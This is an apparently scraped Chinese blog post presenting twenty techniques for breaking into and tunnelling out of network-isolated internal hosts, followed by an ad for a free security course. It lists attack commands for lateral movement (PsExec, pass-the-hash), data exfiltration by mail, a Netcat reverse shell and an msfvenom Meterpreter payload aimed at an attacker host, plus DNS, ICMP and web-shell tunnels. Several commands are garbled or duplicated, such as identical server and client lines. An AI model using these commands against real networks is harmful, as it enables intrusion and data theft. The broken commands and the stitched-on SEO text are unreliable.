企业官网建设流程全解析

wps上怎么做网站点击分析表,帝国cms 网站名称,网站搜索框用ps怎么做,360搜索关键词优化软件内网渗透骚操作#xff1a;20招教你突破“与世隔绝”的目标主机 内网渗透#xff0c;那可是个技术活儿#xff0c;尤其是当目标主机“与世隔绝”#xff0c;压根儿不让上网的时候。这时候#xff0c;就得拿出点真本事#xff0c;各种奇技淫巧、工具轮番上阵。今儿个…内网渗透骚操作20招教你突破“与世隔绝”的目标主机内网渗透那可是个技术活儿尤其是当目标主机“与世隔绝”压根儿不让上网的时候。这时候就得拿出点真本事各种奇技淫巧、工具轮番上阵。今儿个咱就来聊聊如何在目标主机不出网的情况下还能把它“拿下”的20种骚操作保证让您大开眼界一、隧道与代理内网穿梭的“任意门”一端口转发流量乾坤大挪移端口转发就像是给流量开了个“任意门”让它在不同的主机之间穿梭。1. 本地端口转发Local Port Forwarding简单来说就是把目标主机上的服务“搬”到咱自己电脑上。比如想访问内网里的数据库服务器可以用SSH端口转发bash ssh -L 3306:192.168.1.100:3306 usermiddle_host这条命令一敲目标主机192.168.1.100的MySQL服务3306端口就跟咱本地的3306端口“喜结连理”了直接访问本地端口就成2. 远程端口转发Remote Port Forwarding要是目标主机“害羞”不肯主动找咱那就让它把流量“反弹”给咱。举个栗子bash ssh -R 8080:localhost:80 userattack_host这下目标主机上的HTTP服务80端口就乖乖地跑到咱电脑的8080端口上“做客”了。二代理隧道网络限制不存在的代理隧道顾名思义就是通过代理服务器绕过各种网络限制。3. Socks代理有了Socks代理就像给咱的流量穿上了“隐身衣”。比如用proxychains配合代理服务器扫描内网主机bash proxychains nmap -sT -Pn internal_host这样咱就能神不知鬼不觉地摸清内网的底细了。4. HTTP代理把代理脚本“藏”在目标服务器上就能建立起一条秘密通道。reGeorg和Proxifier就是干这事儿的好手。三DNS隧道在DNS的海洋里“偷渡”DNS隧道就是把数据“伪装”成DNS请求偷偷地溜出去。就算HTTP、HTTPS这些“大路”被堵死了DNS这条“小道”往往还能走通。iodine和dnscat2是常用的DNS隧道工具。5. 使用iodine构建DNS隧道在攻击者主机上启动DNS服务器bash iodine -f -c -P password example.com在目标主机上运行客户端bash iodine -f -c -P password example.com数据就这样在DNS的“掩护”下悄悄地完成了传输。四ICMP隧道Ping也能传数据ICMP隧道就是利用ICMP流量比如Ping来传输数据绕过防火墙。有时候TCP/UDP流量被“拒之门外”但ICMP可能还“畅通无阻”。Ptunnel和icmpsh是常用的ICMP隧道工具。6. 使用Ptunnel构建ICMP隧道在攻击者主机上启动Ptunnelbash ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22在目标主机上启动客户端bash ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22数据就这样在ICMP的“庇护”下安全地完成了传输。二、内网服务突破的“隐秘角落”五内网横向移动步步为营扩大战果内网横向移动就是利用内网里的“薄弱环节”比如弱口令、漏洞啥的一步步“蚕食”其他主机。7. 使用PsExec远程执行命令bash PsExec.exe \192.168.1.100 -u user -p password cmd.exePsExec一出马就能在其他内网主机上“为所欲为”了。8. Pass-the-Hash攻击有了哈希值就不用密码也能“畅行无阻”。比如bash pth-winexe -U user%hash //192.168.1.100 cmd.exepth-winexe一出手Pass-the-Hash攻击轻松搞定。六利用内网服务另辟蹊径出奇制胜目标主机上可能藏着一些“宝藏”比如数据库服务、文件共享服务利用它们说不定就能找到突破口。9. 利用内网数据库服务通过数据库服务也能和外面的世界“搭上线”。比如利用MySQL的LOAD DATA INFILE功能把数据写到文件里再想办法“运”出去。10. 利用SMB隧道SMB隧道就是利用内网文件共享服务来传输数据。比如bash smbclient //192.168.1.100/share -U userSMB客户端一连内网文件共享服务就“尽在掌握”了。七邮件、FTP等协议曲线救国柳暗花明有些内网环境虽然封了HTTP/HTTPS但可能还留着其他“后门”比如邮件、FTP。11. 使用SMTP协议发送电子邮件用SMTP协议发邮件把数据“寄”出去。比如bash echo Data to exfiltrate | mail -s Subject userexample.com数据就这样“飞”出去了。12. 使用FTP上传或下载文件用FTP上传或下载文件也是个不错的选择。比如bash ftp -i 192.168.1.100文件就这样“搬家”了。三、反向连接让目标主机“主动投怀送抱”八反向Shell和反向隧道主动出击建立连接反向Shell和反向隧道就是让目标主机主动来找咱建立起“爱的桥梁”。13. 使用Netcat建立反向Shell在目标主机上运行bash nc -e /bin/sh attack_host 4444在攻击者主机上监听bash nc -l -p 4444Netcat一出手反向Shell就到手。14. 使用Metasploit建立反向Shell在目标主机上运行bash msfvenom -p windows/meterpreter/reverse_tcp LHOSTattack_host LPORT4444 -f exe -o shell.exe在攻击者主机上运行bash msfconsole -x use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost attack_host; set lport 4444; runMetasploit一出马反向Shell更是不在话下。九Cobalt Strike的中转功能 “隐形的翅膀”Cobalt Strike内网渗透的“神器”它的Socks代理功能能让目标主机在“与世隔绝”的情况下也能通过中转建立起代理连接。15. 使用Cobalt Strike的Socks代理在目标主机上运行Beacon通过Socks代理功能建立代理连接。例如bash beacon socks 8080在攻击者主机上使用代理工具连接到目标主机。十SMB Beacon隐蔽通信的“秘密武器”SMB BeaconCobalt Strike里的“特种兵”通过Windows命名管道通信隐蔽性极高。16. 使用SMB Beacon创建一个SMB的Listener后可以在主Beacon上链接或断开子Beacon。例如bash beacon smb 192.168.1.100 445通过SMB Beacon建立连接。四、工具与脚本渗透利器各显神通十一reGeorg和Neo-reGeorg代理隧道的“双子星”reGeorg代理隧道工具的“老大哥”把脚本上传到目标服务器的网站目录下就能建立起代理隧道。Neo-reGeorg更是在此基础上加了“buff”数据传输更隐蔽。17. 使用reGeorg建立代理隧道在目标服务器上上传reGeorg脚本bash curl -o proxy.py http://example.com/reGeorg.py在攻击者主机上运行代理客户端bash python proxy.py -s http://192.168.1.100/reGeorg.py -l 8080 -r 192.168.1.200:80通过reGeorg建立代理隧道。十二PystingerWebShell的“好搭档”Pystinger通过WebShell实现内网SOCK4代理端口映射让目标主机在“与世隔绝”的情况下也能“重见天日”。18. 使用Pystinger建立代理将stinger_server.exe上传到目标服务器并在公网VPS上运行stinger_client建立代理连接。例如bash python stinger_client.py -s 192.168.1.100 -p 8080 -l 8081通过Pystinger建立代理连接。十三Frp内网穿透的“瑞士军刀”Frp内网穿透工具的“扛把子”在目标主机“与世隔绝”的情况下通过已控的双网卡内网服务器打通一条“生命通道”。19. 使用Frp建立内网穿透在目标主机上运行Frp客户端bash ./frpc -c frpc.ini在攻击者主机上运行Frp服务端bash ./frps -c frps.ini通过Frp建立内网穿透。十四其他工具和脚本渗透工具箱的“百宝囊”除了上面这些还有很多其他的工具和脚本也能在内网渗透中“大显身手”。20. 使用Chisel建立隧道Chisel轻量级隧道工具内网穿透的“小能手”。比如在目标主机上运行bash ./chisel client --reverse attack_host:8080 R:8081:localhost:80在攻击者主机上运行bash ./chisel server --port 8080 --reverse通过Chisel建立隧道。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群‌一、基础适配人群‌‌零基础转型者‌适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌‌开发/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业‌应届毕业生‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源